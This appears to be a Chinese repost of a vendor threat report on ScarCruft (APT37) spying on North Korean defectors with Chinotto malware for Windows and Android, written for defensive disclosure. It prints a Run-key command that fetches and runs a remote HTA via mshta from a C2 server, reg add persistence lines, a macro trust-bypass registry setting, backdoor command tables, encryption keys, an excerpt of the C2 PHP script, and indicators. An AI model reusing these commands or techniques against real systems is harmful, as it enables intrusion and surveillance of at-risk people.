ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家

ScarCruft 组织(也称为 APT37 或 Temp.Reaper)是我们在 2016 年首次报道的民族国家赞助的 APT 威胁参与者。众所周知,ScarCruft 的目标是朝鲜叛逃者、报道朝鲜相关新闻的记者和与朝鲜有关的政府组织。朝鲜半岛等。最近,一家新闻机构联系我们,要求在其网络安全调查期间提供技术援助. 因此,我们有机会对被 ScarCruft 感染的主机进行更深入的调查。受害者被 PowerShell 恶意软件感染,我们发现有证据表明攻击者已经从受害者那里窃取了数据,并且已经监视了这个受害者几个月。该攻击者还试图使用被盗的登录凭据向在与朝鲜相关的企业工作的受害者的同事发送鱼叉式网络钓鱼电子邮件。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家

根据受感染机器的调查结果,我们发现了其他恶意软件。该攻击者利用了三种具有相似功能的恶意软件:在 PowerShell 中实现的版本、Windows 可执行文件和 Android 应用程序。尽管针对不同的平台,但它们共享基于 HTTP 通信的类似命令和控制方案。因此,恶意软件操作者可以通过一组命令和控制脚本来控制整个恶意软件家族。

我们与当地 CERT 密切合作,调查攻击者的命令和控制基础设施,因此,我们能够更好地了解其工作原理。APT 操作员在受感染的 Web 服务器上使用 PHP 脚本控制恶意软件,并根据 HTTP 参数控制植入程序。我们还能够从受感染的服务器中获取多个日志文件。根据上述文件,我们发现了韩国的其他受害者,并发现了 ScarCruft 自 2021 年初以来一直在使用的 Web 服务器。此外,我们还发现了该恶意软件的较旧变体,通过 HWP 文档提供,可追溯到 2020 年年中。

卡巴斯基智能报告的客户可以获得有关 ScarCruft 的更多信息。联系方式:[email protected]

鱼叉式网络钓鱼文件

在对潜在受害者进行鱼叉式网络钓鱼并发送恶意文件之前,攻击者使用受害者被盗的 Facebook 帐户联系了受害者的熟人。 威胁参与者 已经知道潜在目标经营与朝鲜有关的业务,并询问其现状。在社交媒体上进行对话后,该 威胁参与者 使用被盗的电子邮件帐户向潜在受害者发送了鱼叉式网络钓鱼电子邮件。该攻击者使用被盗的登录凭据(例如 Facebook 和个人电子邮件帐户)利用他们的攻击,从而表现出高度的复杂性。

在 Facebook 对话之后,潜在目标收到了来自该 威胁参与者 的鱼叉式网络钓鱼电子邮件。它包含一个受密码保护的 RAR 档案,密码显示在电子邮件正文中。RAR 文件包含恶意 Word 文档。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
鱼叉式网络钓鱼电子邮件和诱饵

该文件包含与朝鲜有关的诱饵。

MD5文档名称修改时间作者最后保存的用户
baa9b34f152076ecc4e01e35ecc2de18북한의 최근 정세와 우리의 안보.doc(朝鲜的最新情况和我们的国家安全.doc)2021-09-03 09:34:00LeopardCloud

该文档包含一个恶意宏和一个用于多阶段感染过程的payload。第一个阶段的宏包含混淆的字符串,然后生成另一个宏作为第二个阶段。

第一阶段宏通过尝试以下文件路径来检查受害者计算机上是否存在卡巴斯基安全解决方案:

  • C:\Windows\avp.exe # 卡巴斯基 AV
  • C:\Windows\Kavsvc.exe # 卡巴斯基 AV
  • C:\Windows\clisve.exe # 未知

如果系统上确实安装了卡巴斯基安全解决方案,它会通过将以下注册表项设置为“1”来启用对 Visual Basic 应用程序 (VBA) 的信任访问:

HKEY_CURRENT_USER\Software\Microsoft\Office\[Application.Version]\Word\Security\AccessVBOM

通过这样做,Microsoft Office 将信任所有宏并运行任何代码,而不会显示安全警告或需要用户许可。接下来,宏创建一个名为“sensiblemtv16n”的互斥锁,并再次打开恶意文件。由于“信任所有宏”设置,宏将自动执行。

如果没有安装卡巴斯基安全软件,宏会直接继续解密下一阶段的payload。为了实现这一点,它使用了替代方法的变体。该脚本将给定的加密字符串与第二个字符串进行比较以获取匹配字符的索引。接下来,它接收一个解密后的字符,其中包含从第一个字符串中获取的索引。

  • 第一个字符串:
BU+13r7JX9A)dwxvD5h2WpQOGfbmNKPcLelj(kogHs.#yi*IET6V&tC,uYz=Z0RS8aM4Fqn
  • 第二个字符串:
v&tC,uYz=Z0RS8aM4FqnD5h2WpQOGfbmNKPcLelj(kogHs.#yi*IET6V7JX9A)dwxBU+13r

解密的第二阶段 Visual Basic 应用程序 (VBA) 包含作为十六进制字符串的 shellcode。该脚本负责将shellcode注入进程notepad.exe。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
第二阶段 VBA 中的 Shellcode

shellcode 包含用于获取下一阶段有效负载的 URL。获取payload后,shellcode 使用简单的单字节 XOR 解密对其进行解密。不幸的是,当我们调查这个样本时,我们无法收集到最终的payload。

Payload的下载路径为:

hxxps://api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBalVyZDlodU1wUWNjTGt4bXhBV0pjQU1ja2M_ZT1mUnc4VHg/root/content

主机调查

由于我们努力帮助受害者进行分析,我们有机会调查发送鱼叉式网络钓鱼电子邮件的所有者的主机。当我们第一次检查进程列表时,有一个可疑的 PowerShell 进程运行着一个相当可疑的参数。

此 PowerShell 命令已通过 Run 注册表项注册为持久性机制:

  • 注册表路径:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run – ONEGO
c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 300000 2.2.2.2 || mshta hxxp://[redacted].cafe24[.]com/bbs/probook/1.html

每次系统启动时,此注册表项都会导致 mshta.exe 进程获取并执行 HTML 应用程序 (HTA) 文件。提取的“1.html”是一个 HTML 应用程序 (.hta) 文件,其中包含最终执行 PowerShell 命令的 Visual Basic 脚本 (VBS)。

PowerShell 脚本提供简单的后门功能,并使用包含多个参数的 HTTP POST 请求不断查询 C2 服务器。首先,它使用主机名向 C2 服务器发送信标:

hxxp://[redacted].cafe24[.]com/bbs/probook/do.php?type=hello&direction=send&id=[host name]

接下来,它尝试使用以下格式从 C2 服务器下载命令:

hxxp://[redacted].cafe24[.]com/bbs/probook/do.php??type=command&direction=receive&id=

如果来自 C2 服务器的 HTTP 响应是 200,它会检查响应数据并执行传递的命令。

传送的数据描述
ref:向 C2 服务器发送信标:
HTTP 请求:?type=hello&direction=send&id=
cmd:如果命令数据包含“start”,则使用 cmd.exe 执行给定的命令,并使用以下 POST 格式发送 base64 编码的“OK”。否则,它执行给定的命令,将结果重定向到结果文件 (%APPDATA%\desktop.dat),并在 base64 编码后发送文件内容。
HTTP 请求:?type=result&direction=send&id=

我们从受害者的主机中发现了其他恶意软件、工具和被盗文件。由于对受感染主机的访问受限,我们无法找出最初的感染媒介。但是,我们根据可疑文件的时间戳评估该主机在 2021 年 3 月 22 日遭到入侵。我们从受害者身上发现的恶意软件的一个特征是将命令的执行结果写入文件“%appdata%\desktop.dat”。根据主文件表 (MFT) 信息,该文件创建于 2021 年 3 月 22 日同一天,最后修改时间为 2021 年 9 月 8 日,这意味着该文件一直使用到我们调查之前。

使用其他工具,恶意软件操作员从该受害者那里收集了敏感信息,尽管我们无法准确评估泄露了多少数据以及窃取了哪些类型的数据。根据恶意软件创建的文件夹和文件的时间戳,攻击者早在 2021 年 8 月就收集并泄露了文件。扩展名为 .dat 的日志文件已加密,但可以使用一字节 XOR 密钥 0x75 解密。这些日志文件包含上传历史记录。我们找到了两个日志文件,每个文件都包含略有不同的日志。“B14yNKWdROad6DDeFxkxPZpsUmb.dat”文件包含同名文件夹的压缩和上传。日志文件将进程显示为:“Zip Dir Start > Up Init > Up Start > Up File Succeed > Zip Dir Succeed”。根据日志文件,

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
文件归档上传日志

另一个名为“s5gRAEs70xTHkAdUjl_DY1fD.dat”的日志文件也包含文件上传历史记录,除了文件压缩消息。它使用以下程序处理每个文件:“Up Init > Up Start > Up File Succeed”。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
文件上传日志

根据我们从该受害者身上发现的情况,我们可以确认恶意软件操作者在 2021 年 8 月 6 日至 2021 年 9 月 8 日之间收集并泄露了屏幕截图。根据我们从受害者身上发现的情况,我们可以总结出整个感染时间线。我们怀疑该主机在 2021 年 3 月 22 日遭到入侵。最初感染后,攻击者尝试植入其他恶意软件,但发生错误导致恶意软件崩溃。恶意软件运营商后来于 2021 年 8 月发布了 Chinotto 恶意软件,并可能开始从受害者那里窃取敏感数据。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
对受害者的攻击时间表

Windows 可执行 Chinotto

作为主机调查的结果,我们发现了一个恶意的 Windows 可执行文件,并从 VirusTotal 和我们自己的样本集合中发现了其他恶意软件变体。其中一个 Windows 可执行文件包含构建路径,恶意软件作者似乎将恶意软件称为“ Chinotto ”。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
PDB路径

此分析中的技术规范基于我们从主机调查中发现的 Chinotto 恶意软件(MD5 00df5bbac9ad059c441e8fef9fefc3c1)。该恶意软件的特征之一是它包含大量垃圾代码以阻碍分析。在运行期间,恶意软件会在复制实际值之前将未使用的数据复制到分配的缓冲区中;或者分配一个未使用的缓冲区,用无意义的数据填充它,并且从不使用它。

它还在运行时将功能字符串(例如 C2 地址和调试消息)恢复到堆栈。恶意软件创建一个互斥锁并获取 C2 地址,我们发现的每个样本都不同:

Mutex: NxaNnkHnJiNAuDCcoCKRAngjHVUZG2hSZL03pw8YC2 address: hxxp://luminix.openhaja[.]com/bbs/data/proc1/proc.php

为了生成受害者的识别值,恶意软件获取计算机名和用户名,并以’%计算机名%_%用户名%’的格式将它们组合起来。接下来,它使用 XOR 密钥“YFXAWSAEAXee12D4”对获取的字符串进行加密,并使用 base64 对其进行编码。

后门不断查询 C2 服务器,等待恶意软件操作员的命令。我们观察到 Chinotto 恶意软件的早期版本(MD5 55afe67b0cd4a01f3a9a6621c26b1a49),虽然它也遵循这个简单的原则,但它使用了硬编码的后门命令“scap”。这意味着此特定样本仅用于窃取受害者的屏幕截图。

Chinotto 恶意软件显示出完全成熟的功能来控制和从受害者那里窃取敏感信息。

命令描述
ref:向 C2 服务器发送信标:http://[C2 URL]?ref=id=%s&type=hello&direction=send
cmd:执行Windows命令并将结果用一字节异或密钥加密后保存到%APPDATA%\s5gRAEs70xTHkAdUjl_DY1f.dat文件中
down:从远程服务器下载文件
up:上传文件
state:上传日志文件 (s5gRAEs70xTHkAdUjl_DY1fD.dat)
regstart:将当前恶意软件复制到 CSIDL_COMMON_DOCUMENTS 文件夹并执行命令注册文件以运行注册表:“reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v a2McCq /t REG_SZ /d %s /f”
cleartemp:从文件夹“%APPDATA%\s5gRAEs70xTHkAdUjl_DY1fD”中删除文件
updir:归档目录并上传。存档使用创建标识值时使用的相同密钥进行 XOR 编码:’YFXAWSAEAXee12D4′
int:从路径 CSIDL_DESKTOP、CSIDL_PERSONAL(CSIDL_MYDOCUMENTS)、CSIDL_MYMUSIC、CSIDL_MYVIDEO 收集具有以下扩展名的文件。下载并上传到 C2 服务器:jpg|jpeg|png|gif|bmp|hwp|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf|txt|mp3|amr|m4a|ogg|aac|wav|wma|3gpp|eml|lnk| zip|rar|egg|alz|7z|vcf|3gp
scap:截屏,以存档格式保存到文件夹“%appdata%\s5gRAEs70xTHkAdUjl_DY1fD”。用于存储屏幕截图的文件有一个“ e_ ”前缀和 10 个随机生成的字符作为文件名。上传截图文件时,它使用’wrpdwRwsFEse’作为文件名
run:使用 ShellExecuteW API 运行 Windows 命令
chdec:下载加密文件并通过 CryptUnprotectData API 解密
update:下载更新的恶意软件并注册:reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v m4cVWKDsa9WxAWr41iaNGR /t REG_SZ /d %s /f
wait:睡30分钟
wakeup:2.5 秒后唤醒

另一个恶意软件样本(MD5 04ddb77e44ac13c78d6cb304d71e2b86)在运行时表现出轻微差异,是从同一受害者身上发现的。这是相同的全功能后门,但它使用不同的方案加载后门命令。恶意软件会检查同一文件夹中是否存在“*.zbpiz”文件。如果存在,它会加载文件的内容并在解密后将其用作后门命令。恶意软件作者不断改变恶意软件的功能,以逃避检测并根据受害者的情况创建自定义变体。

此外,Chinotto 恶意软件还有不同的 Windows 可执行变体。除了上面提到的传统 Chinotto 恶意软件之外,还有一个不同的变种包含一个嵌入式 PowerShell 脚本。生成的 PowerShell 命令与我们从受害者身上发现的 PowerShell 具有相似的功能。但是,它包含额外的后门命令,例如上传和下载功能。根据恶意软件的构建时间戳,我们评估恶意软件作者从 2019 年年中到 2020 年年中使用了 PowerShell 嵌入式版本,并从 2020 年底开始使用恶意的、无 PowerShell 的 Windows 可执行文件。

安卓Chinotto

基于 C2 通信模式,我们发现了 Chinotto 恶意软件的 Android 应用程序版本(MD5 56f3d2bcf67cf9f7b7d16ce8a5f8140a)。这个恶意 APK 根据 AndroidManifest.xml 文件请求过多的权限。为了达到监视用户的目的,这些应用程序要求用户启用各种权限。授予这些权限允许应用程序收集敏感信息,包括联系人、消息、通话记录、设备信息和录音。每个样本都有不同的包名,分析的样本带有“com.secure.protect”作为包名。

该恶意软件以与 Chinotto 的 Windows 可执行版本相同的格式发送其唯一的设备 ID。

Beacon URI pattern: [C2 url]?type=hello&direction=send&id=[Unique Device ID]

接下来,它在以下 HTTP 请求后接收命令:

Retrieve commands: [C2 url]?type=command&direction=receive&id=[Unique Device ID]

如果C2服务器下发的数据不是“ERROR”或“Fail”,恶意软件就开始进行后门操作。

命令URI 模式描述
参考:?type=hello&direction=send&id=向 C2 服务器发送相同的信标请求
?type=file&direction=send&id=将临时文件 (/sdcard/.temp-file.dat) 上传到 C2 服务器并将其从本地存储中删除。
URIP?type=file&direction=send&id=将临时文件路径保存到结果文件(/sdcard/result-file.dat)并上传临时文件。
上传信息?type=hello&direction=send&id=?type=file&direction=send&id=发送信标后,收集以下信息到 /icloud/tmp-web 路径:Info.txt:电话号码、IP地址、SDK版本(OS版本)、临时文件路径Sms.txt:以JSON格式保存所有文本消息Calllog.txt:以JSON格式保存所有通话记录Contact.txt:以 JSON 格式保存所有联系人列表Account.txt:以JSON格式保存所有账户信息归档后上传收集的文件。存档文件由 AES 使用密钥“3399CEFC3326EEFF”加密。
上传文件?type=file&direction=send&id=执行命令’cd /sdcard;ls -alR’,将结果保存到临时文件(/sdcard/.temp-file.dat)并上传。通过AES和密钥“3399CEFC3326EEFF”加密后上传所有缩略图和照片。
等等?type=file&direction=send&id=执行命令将结果保存到结果文件(/sdcard/result-file.dat)
并上传结果
?type=file&direction=send&id

我们发现参与者对一个变体(MD5 cba17c78b84d1e440722178a97886bb7)中更具体的文件列表感兴趣。此变体的“UploadFile”命令将特定文件上传到 C2 服务器。AMR 文件是一种音频文件,通常用于记录电话呼叫。此外,华为云和腾讯服务是两个目标。为了监视受害者,该列表包括目标文件夹以及/Camera、/Recordings、/KakaoTalk(韩国著名信使)、/문건(文件)、/사진(图片)和/좋은글(好文章)。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
目标文件和文件夹

综上所述,该攻击者针对受害者进行了针对 Windows 系统的鱼叉式网络钓鱼攻击和针对 Android 系统的 smishing 攻击。攻击者利用 Windows 可执行版本和 PowerShell 版本来控制 Windows 系统。我们可以假设,如果受害者的主机和手机同时受到感染,则恶意软件运营商能够通过从手机窃取 SMS 消息来克服双因素身份验证。在使用功能齐全的后门进行后门操作后,操作员能够窃取他们感兴趣的任何信息。利用窃取的信息,攻击者进一步利用他们的攻击。例如,该组织试图感染其他有价值的主机并使用被盗的社交媒体帐户或电子邮件帐户联系潜在受害者。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
攻击程序

较旧的恶意 HWP 文档

此活动背后的威胁参与者使用恶意 HWP 文件传播了相同的恶意软件。当时,使用了与 COVID-19 和凭证访问相关的诱饵。

HWP 哈希HWP 文件名丢弃的payload哈希
f17502d3e12615b0fa8868472a4eabfb코로나19 재감염 사례-백신 무용지물.hwp
(Covid-19 再感染案例-无用疫苗.hwp)
72e5b8ea33aeb083631d1e8b302e76af
(Visual Basic 脚本)
c155f49f0a9042d6df68fb593968e110계정기능 제한 안내.hwp
(账号限制通知.hwp )
5a7ef48fe0e8ae65733db64ddb7f2478
(Windows 可执行文件)

由第一个 HWP 文件 (MD5 f17502d3e12615b0fa8868472a4eabfb )创建的 Visual Basic 脚本具有与 Chinotto 恶意软件相似的功能。它还使用相同的 HTTP 通信模式。从恶意 HWP 中释放的第二个payload是一个 Windows 可执行文件,它执行具有相同功能的嵌入式 PowerShell 脚本。这些发现揭示了至少可以追溯到 2020 年中期的相关活动。

基础设施

在这次活动中,攻击者完全依赖于受感染的 Web 服务器,这些服务器主要位于韩国。在这项研究中,我们与当地 CERT 密切合作,拆除了攻击者的基础设施,并有机会调查 C2 服务器上控制 Chinotto 恶意软件的脚本之一。C2 脚本(名为“do.php”)使用几个预定义的文件来保存客户端的状态(shakest)和命令(comcmd)。此外,它还解析了来自植入程序的 HTTP 请求传递的几个参数(id、类型、方向、数据):

    $type = "";             # 'type' parameter
    $shakename = "shakest"; # Save client status
    $comcmdname = "comcmd"; # Save commands
    $btid = "";             # Client unique ID
    $direction = "";        # 'direction' parameter
    $data = "";             # 'data' parameter
 
    if (isset($_GET['id'])){
   	 $btid = $_GET['id'];
    }
    if (isset($_GET['type'])){
   	 $type = $_GET['type'];
    }
    if (isset($_GET['direction'])){
   	 $direction = $_GET['direction'];
    }
    if (isset($_GET['data'])){
   	 $data = $_GET['data'];
    ..
    $comname = $btid."";
    $comresname = $comname . "-result";

为了控制客户端,C2 脚本使用 HTTP 参数。首先,它检查“type”参数的值。’type’ 参数带有四个值:hello、command、result 和 file。

type”参数的值描述
hello报告和控制客户端状态
command保持操作员的命令或从客户端检索命令
result上传命令执行结果或检索命令
file上传文件到C2服务器

“hello”类型

当脚本接收到“type=hello”参数时,它会检查“direction”的值。在此例程中,脚本检查客户端的状态。恶意软件操作员将客户端状态保存到特定文件中,在本例中为“shakest”文件。如果正在接收“发送”值,则客户端状态设置为“开”。如果还设置了“接收”,则发送客户端的状态日志文件(可能是为了将客户端的状态发送给恶意软件操作员)。’refresh’ 值用于将所有客户端设置为 ‘OFF’,’release’ 用于初始化命令文件。客户端只回复“OK”。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
‘type=hello’ 命令

“命令”类型

为了管理植入物的命令,C2 脚本处理了几个附加参数。如果设置了与 ‘direction=receive’ 一起的 ‘type=command’,它会从客户端发出请求以检索命令。

有两种命令文件:通用命令,如初始命令或发送到所有客户端的命令,以及特定客户端的单个命令。如果客户端存在单个命令,则它会传递该命令。否则,向客户端发送通用命令。如果“direction”参数设置为“send”,则请求来自恶意软件操作员,以便将发送的命令保存在 C2 服务器中。使用此请求,操作员可以设置两个命令文件:公共命令或个别命令。如果’botid’参数包含’cli’,则表示该请求是为了设置一个通用命令文件。如果 ‘data’ 参数包含 ‘refclear :’,公共命令文件被初始化。否则,“数据”值将保存到通用命令文件中。如果 ‘botid’ 不是 ‘cli’,则表示此请求被定向到单个命令文件。保存单个命令文件的过程与保存公共命令的过程相同。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
type=command 命令

“结果”类型

当上传来自植入程序的命令执行结果时,脚本将“type”参数设置为“result”。如果“direction”参数等于“send”,则将“data”参数的值保存到单个结果文件:“[botid]-result 。“direction”参数的“receive”值表示检索单个结果文件。然后,脚本在使用 base64 编码后将结果文件发送给操作员。

“文件”类型

最后一个可能的“类型”命令是“文件”。该值用于从受害者那里窃取文件。如果文件上传成功,脚本会发送消息“SEND SUCCESS”。否则,它会发送“上传文件时出错,请重试!”。

我们发现恶意软件操作者使用单独的网页来监视和控制受害者。从几个受感染的 C2 服务器中,我们看到一个带有“control.php”文件名的控制页面。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
本案例中的控制页面

控制页面显示了一个简单的结构。操作员可以在左侧面板中看到受感染主机的列表,并具有相应的状态“ON”或“OFF”。基于此信息,操作员能够使用右侧面板发出命令并查看来自客户端的结果。

受害者

我们通过向来自朝鲜的人权活动家和叛逃者提供支持来反对试图监视和追踪他们的行为者,从而开始了这项研究。

此外,我们还发现了更多无法通过分析 C2 服务器来分析的受害者。通过分析攻击者的基础设施,我们发现了 2021 年 1 月至 2021 年 2 月之间的 75 个客户端连接。大多数 IP 地址似乎是 Tor 或 VPN 连接,它们很可能来自研究人员或恶意软件运营商。

分析其他 C2 服务器,我们发现了有关可能的其他受害者的更多信息。排除来自 Tor 的连接,只有来自韩国的连接。根据 IP 地址,我们可以区分位于韩国的四个不同的疑似受害者,并根据用户代理信息确定他们使用的操作系统和浏览器:

受害者 A 于 7 月 16 日至 9 月 5 日连接到 C2 服务器,并且使用过时的 Windows 操作系统和 Internet Explorer 版本。受害者 B 于 9 月 4 日连接到该服务器并运行 Windows 8 和 Internet Explorer 10。在我们调查 C2 服务器时,受害者 D 一直连接到它,使用 Windows 10 和 Chrome 版本 78。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
受害者时间线

总而言之,该活动针对的是韩国的实体,这是 ScarCruft 的首要关注点。根据我们的发现,我们还假设威胁行为者针对的是个人而不是特定的公司或组织。

归因

我们发现一些代码与名为 POORWEB 的旧 ScarCruft 恶意软件重叠。首先,当 Chinotto 恶意软件将文件上传到 C2 服务器时,它使用带有随机函数生成的边界的 HTTP POST 请求。当 Chinotto 恶意软件(MD5 00df5bbac9ad059c441e8fef9fefc3c1)生成边界值时,它会执行 random() 函数两次并连接每个值。生成过程并不完全相同,但它使用与旧的 POORWEB 恶意软件(MD5 97b35c34d600088e2a281c3874035f59)类似的方案。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
HTTP边界生成例程

此外,与之前用于 POORWEB 恶意软件的Document Stealer 恶意软件(MD5 cff9d2f8dae891bd5549bde869fe8b7a)还有额外的代码重叠。当 Chinotto 恶意软件检查来自 C2 服务器的响应时,它会检查响应是否为‘HTTP/1.1 200 OK’而不是‘error’。此 Document Stealer 恶意软件也具有相同的例程来检查来自 C2 服务器的响应。

ScarCruft组织(APT37)监视朝鲜叛逃者和人权活动家
C2 响应检查程序

除了代码相似性之外,从历史上看,ScarCruft组织以监视与朝鲜有关的个人而闻名,例如记者、叛逃者、外交官和政府雇员。这次攻击的目标与之前的 ScarCruft 团体活动在同一范围内。基于受害者和几个代码重叠,我们以中等可信度评估此网络间谍活动与 ScarCruft 组织有关。

结论

许多记者、叛逃者和人权活动家都是复杂网络攻击的目标。与公司不同的是,这些目标通常没有足够的工具来防御和响应高度熟练的监视攻击。我们团队的目的之一是帮助 APT 组织针对的个人。这项研究源于这种努力。我们与当地 CERT 的合作使我们能够以独特的方式了解 ScarCruft 的基础设施设置,并让我们发现许多技术细节。

使用这些发现,我们发现了相同恶意软件的其他 Android 变体,这对于理解和跟踪 ScarCruft TTP 非常宝贵。此外,在寻找相关活动时,我们发现了一组可追溯到 2020 年中期的旧活动,这可能表明针对这组个人的 ScarCruft 操作已经运行了更长的时间。

侵害指标(IOCs)

恶意文件

baa9b34f152076ecc4e01e35ecc2de18북한의 최근 정세와 우리의 안보.doc
7d5283a844c5d17881e91a5909a5af3c화학원료.doc(类似文档)

HTA文件

e9e13dd4434e2a2392228712f73c98ef1.html

Windows 可执行 Chinotto

00df5bbac9ad059c441e8fef9fefc3c1alyakscan.exe
04ddb77e44ac13c78d6cb304d71e2b86anprotect5.exe
55afe67b0cd4a01f3a9a6621c26b1a49
93bcbf59ac14e14c1c39a18d8ddf28ee

PowerShell 嵌入式 Chinotto

c7c3b03108f2386022793ed29e621343
5a7ef48fe0e8ae65733db64ddb7f2478
b06c203db2bad2363caed1c0c11951ae
f08d7f7593b1456a087eb9922507c743
0dd115c565615651236fffaaf736e377
d8ad81bafd18658c52564bbdc89a7db2

安卓应用Chinotto

71b63d2c839c765f1f110dc898e79d67
c9fb6f127ca18a3c2cf94e405df67f51
3490053ea54dfc0af2e419be96462b08
cba17c78b84d1e440722178a97886bb7
56f3d2bcf67cf9f7b7d16ce8a5f8140a

payload托管 URL

hxxps://api[.]onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBalVyZDlodU1wUWNjTGt4bXhBV0pjQU1ja2M_ZT1mUnc4VHg/root/content
hxxp://www[.]djsm.co[.]kr/js/20170805[.]hwp

命令和控制服务器

hxxp://luminix[.]openhaja[.]com/bbs/data/proc1/proc[.]php
hxxp://luminix[.]kr/bbs/data/proc/proc[.]php
hxxp://kjdnc[.]gp114[.]net/data/log/do[.]php
hxxp://kumdo[.]org/admin/cont/do[.]php
hxxp://haeundaejugong[.]com/editor/chinotto/do[.]php
hxxp://haeundaejugong[.]com/data/jugong/do[.]php
hxxp://doseoul[.]com/bbs/data/hnc/update[.]php
hxxp://hz11[.]cn/jquery-ui-1[.]10[.]4/tests/unit/widget/doc/pu[.]php

MITRE ATT&CK 映射

战术技术技术名称        
资源开发T1584.006侵害基础设施:Web 服务
初始访问T1566.001网络钓鱼:鱼叉式网络钓鱼附件
执行T1059.001T1059.005命令和脚本解释器:PowerShell命令和脚本解释器:Visual Basic
坚持T1547.001启动或登录自动启动执行:注册表运行键/启动文件夹
防御规避T1140T1036.005去混淆/解码文件或信息伪装:匹配合法名称或位置
发现T1033T1082系统所有者/用户发现系统信息发现
收藏T1113T1560.002屏幕截图存档收集的数据:通过图书馆存档
命令与控制T1071.001T1573.001应用层协议:Web 协议加密通道:对称密码术
渗漏T1041通过 C2 通道进行渗透

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。